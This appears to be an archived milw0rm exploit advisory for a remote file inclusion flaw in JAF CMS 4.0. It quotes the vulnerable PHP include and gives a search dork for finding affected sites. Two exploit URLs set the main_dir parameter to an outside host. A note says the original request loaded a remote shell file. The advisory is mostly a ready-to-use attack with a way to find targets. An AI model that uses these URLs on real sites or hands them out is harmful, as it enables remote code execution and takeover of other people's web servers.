37 lines
No EOL
1.3 KiB
Text
37 lines
No EOL
1.3 KiB
Text
#===========================================================================================
|
|
#JAF CMS Remote file include (website)
|
|
#===========================================================================================
|
|
#
|
|
#Script name : JAF CMS
|
|
#
|
|
#Version : 4.0
|
|
#
|
|
#===========================================================================================
|
|
#Vulnerable Code :
|
|
#
|
|
# if(isset($category) || isset($id)) { include($website.$main_dir."forum.php"); return;}
|
|
#
|
|
#===========================================================================================
|
|
#Dork : powered by JAF CMS © 2004 - 2006
|
|
#
|
|
#Exploit :
|
|
#(1)
|
|
#http://www.site.com/[jmf_path]/module/forum/main.php?id=1&main_dir=http://www.milw0rm.com/index.php?&
|
|
#(2)
|
|
#http://www.site.com/[jmf_path]/module/forum/headlines.php?id=1&main_dir=http://www.milw0rm.com/index.php?&
|
|
#
|
|
#===========================================================================================
|
|
#
|
|
#Discoverd By : ThE TiGeR
|
|
#
|
|
#Contact : miro_tiger100[at]hotmail[dot]com
|
|
#
|
|
#===========================================================================================
|
|
|
|
/*
|
|
* modified the authors GET request from
|
|
* ?website=http://www.site.com/shell.txt?
|
|
* to the current. /str0ke
|
|
*/
|
|
|
|
# milw0rm.com [2006-10-04] |